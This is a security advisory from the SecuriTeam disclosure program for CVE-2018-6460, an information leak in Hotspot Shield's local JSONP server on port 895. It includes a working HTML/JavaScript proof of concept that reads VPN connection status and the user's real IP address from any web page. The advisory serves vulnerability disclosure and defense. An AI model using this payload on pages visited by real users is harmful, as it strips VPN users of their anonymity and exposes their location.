## Vulnerability Summary
The following advisory describes a information disclosure found in Hotspot Shield.

Hotspot Shield “provides secure and private access to a free and open internet. Enabling access to social networks, sports, audio and video streaming, news, dating, gaming wherever you are.”

## Credit
An independent security researcher, Paulos Yibelo, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

## Vendor response
“Thank you very much again for contacting us. The info is being reviewed and if there are any questions/comments, we’ll contact you by re-opening this ticket”

CVE: CVE-2018-6460

## Vulnerability details
The HotspotShiled product runs webserver with a static IP 127.0.0.1 and port 895.

The web server using JSONP and hosts sensitive information, including, configuration.

User controlled input is not sufficiently filterd, an unauthenticated attacker can send a POST request to /status.js with parameter func=$_APPLOG.Rfunc and extract sensitive information about the machine, including wheater the user is connected to VPN, to which VPN he/she is connected to what their real IP address.

## Proof of Concept

```
<head>
<script>
var $_APPLOG = function() { return 1; }
$_APPLOG.Rfunc = function(leak){
    alert(JSON.stringify(leak));
}
</script>
</head>
<script>
    var head = document.getElementsByTagName('head')[0];
    var script = document.createElement('script');
    script.id = 'jsonp';
    script.src = 'http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm='+(new Date().getTime());
    head.appendChild(script);
</script>
```